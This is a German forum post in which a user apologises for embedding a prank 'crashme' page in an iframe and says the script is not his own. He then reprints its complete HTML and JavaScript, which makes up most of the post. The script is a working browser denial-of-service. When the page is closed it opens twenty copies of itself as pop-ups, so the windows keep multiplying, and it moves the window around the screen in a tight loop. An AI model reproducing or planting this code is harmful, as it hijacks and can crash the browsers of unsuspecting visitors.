So, ich hab mich hier mittlerweile mehrfach entschuldigt und sehe ein, dass es zu übertreigen war - hab den Post auch von tw löschen lassen.
Ein PopUp-Stoopper bringt glaube ich nix - bei mir öffneten sich die PopUps trotzdem...
Für manche ist das Script lustig für manche eben nicht...
Ich finde es persönlich beschissen, das so was überhaupt möglich ist und nicht vom IE geblockt wird - passt aber zu M$
@ Amenophis IV
Das Script ist nicht von mir, ich kann so gut wie gar kein JavaScript!
Das ist von www.raus.de/crashme.
Ich hab das einfach in nen IFRAME eingebunden - also Leute mit Opera & Co. bekommen das nicht angezeigt...
Der Code lautet folgendermaßen:
<html>
<head>
<title>Have a nice day!</title>
</head>
<body onload="flagRun = 1; playBall(); return true;" onUnLoad="procreate()" background="biggrin.gif">
<script>
<!--
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
function openWindow(url){
aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=90,height=60,titlebar=no,alwaysRaised=yes');
}
function procreate(){
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
openWindow('http://www.raus.de/crashme/');
}
function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus()
}
function newXrt(){
xOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}
function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}
function playBall(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
}
//-->
</script>
</body>
</html>
cm